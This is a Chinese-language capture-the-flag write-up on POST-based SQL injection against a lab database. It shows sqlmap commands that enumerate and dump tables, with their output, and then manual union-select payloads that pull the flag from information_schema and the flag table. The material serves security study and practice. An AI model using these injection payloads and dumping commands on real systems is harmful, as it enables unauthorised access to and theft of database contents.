使用sqlmap进行post型sql注入


使用sqlmap进行post型sql注入

输入id可以得到查询结果,但是url中并没有参数提交,使用burp suite抓包。

可以看到请求类型为post,name作为查询参数可以完全控制。

在抓包页面右键选择copy to file,保存到sqlmap文件夹下,类型为txt。

运行 python sqlmap.py -r postinject.txt

存在注入点

运行 python sqlmap.py -r postinject.txt -dbs获取数据库信息

[10:14:09] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] twosecu1_vuln_06
>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 --tables
Database: twosecu1_vuln_06
[2 tables]
+------------+
| flag       |
| transcript |
+------------+

>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –columns
Database: twosecu1_vuln_06
Table: flag
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(255) |
| id     | int(11)      |
+--------+--------------+

> python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –C id,flag --dump
Database: twosecu1_vuln_06
Table: flag
[2 entries]
+----+-------------+
| id | flag        |
+----+-------------+
| 1  | two{Il0ve_5 |
| 2  | tUdy_Up}    |
+----+-------------+

得到flag

尝试进行手工注入

输入1' and 1=1#正常1' and 1=2#无回显内容

  • 获取显示位

测试到1' order by 6#时报错,所以有5个显示位

  • 查看所有数据库

1' union select 1,2,3,4,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

  • 查找 twosecu1_vuln_06下的表

1' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='twosecu1_vuln_06'#

flag,transcript

  • 查看 flag表中的列名

1' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='flag'#

id,flag

  • 查看flag中字段

1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag#

two{Il0ve_5

发现只有前半行,后半部分在下一行

1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag where id=2#

tUdy_Up}

合并得到flag


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM